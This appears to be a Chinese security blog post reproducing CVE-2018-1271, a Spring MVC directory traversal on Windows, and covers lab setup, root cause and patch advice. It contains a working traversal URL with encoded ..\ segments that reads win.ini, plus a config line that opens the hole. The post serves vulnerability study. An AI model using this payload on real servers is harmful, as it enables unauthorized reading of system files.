CVE-2018-1271 Spring MVC 目录穿越 漏洞复现

admin 2021年12月11日14:32:30评论772 views字数 1460阅读4分52秒阅读模式

01

背景



漏洞编号:CVE-2018-1271

影响范围: Spring Framework 5.0 to 5.0.4.

Spring Framework 4.3 to 4.3.14

已不支持的旧版本仍然受影响

利用条件:Server运行于Windows系统上,要使用file协议打开资源文件目录。


02

环境搭建



操作系统:Windows 10

web代码 spring-mvc-showcase

中间件:jetty

1.下载 spring-mvc-showcase

git clone https://github.com/spring-projects/

spring-mvc-showcase.git

2.修改pom.xml,使用Spring Framework 5.0.0。

修改 Spring MVC 静态资源配置,在org->springframework->samples->mvc->config文件夹下WebMvcConfig中  添加以下代码,使用file://协议指定resources为静态文件目录。

registry.addResourceHandler("/resources/**").addResourceLocations("file:./src/main/resources/","/resources/");

CVE-2018-1271 Spring MVC 目录穿越 漏洞复现


3. 使用 jetty 启动项目

   cd spring-mvc-showcase//切换至spring-mvc-showcase目录下

mvn install //安装项目依赖库

mvn jetty:run  //运行容器

CVE-2018-1271 Spring MVC 目录穿越 漏洞复现
CVE-2018-1271 Spring MVC 目录穿越 漏洞复现

环境搭建成功



03

漏洞原理



    当外部要访问静态资源时,会调用org.springframework.web.servlet.resource.ResourceHttpRequestHandler:handleRequest来处理在request.getAttribute()函数取值时会进行 url decode操作,此时解码后的path的值为%5c%5c..%5c/..%5c/..%5c/..%5c/..%5c/

..%5c/..%5c/..%5c/..%5c/windows/win.ini。接下来会对path进行两次校验,将path和path解码之后的值分别使用isInvalidPath函数检查/foo/bar/../经过cleanPath处理后就会变成/foo/,cleanPath会把//当成一个目录,而操作系统是不会把//当成一个目录的。如下图:

CVE-2018-1271 Spring MVC 目录穿越 漏洞复现

04

漏洞复现



    访问以下链接http://192.168.31.34:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini

    抓包

CVE-2018-1271 Spring MVC 目录穿越 漏洞复现
CVE-2018-1271 Spring MVC 目录穿越 漏洞复现

成功读取win.ini


05

修复建议



    目前官方已发布补丁,Spring Framework 5.*(5.0到5.0.4)版本,建议更新到5.0.5版本,Spring Framework 4.3.*(4.3到4.3.14)版本,建议更新到4.3.15版本,不再受支持的旧版本,建议更新到4.3.15版本或5.0.5版本。

免责声明


本文章仅供安全人员学习研究,请遵守《中华人民共和国网络安全法》,勿利用本文中内容做违法的事,如有违反本公众号概不负责。


本文始发于微信公众号(凌晨安全):CVE-2018-1271 Spring MVC 目录穿越 漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月11日14:32:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2018-1271 Spring MVC 目录穿越 漏洞复现https://cn-sec.com/archives/497612.html

发表评论

匿名网友 填写信息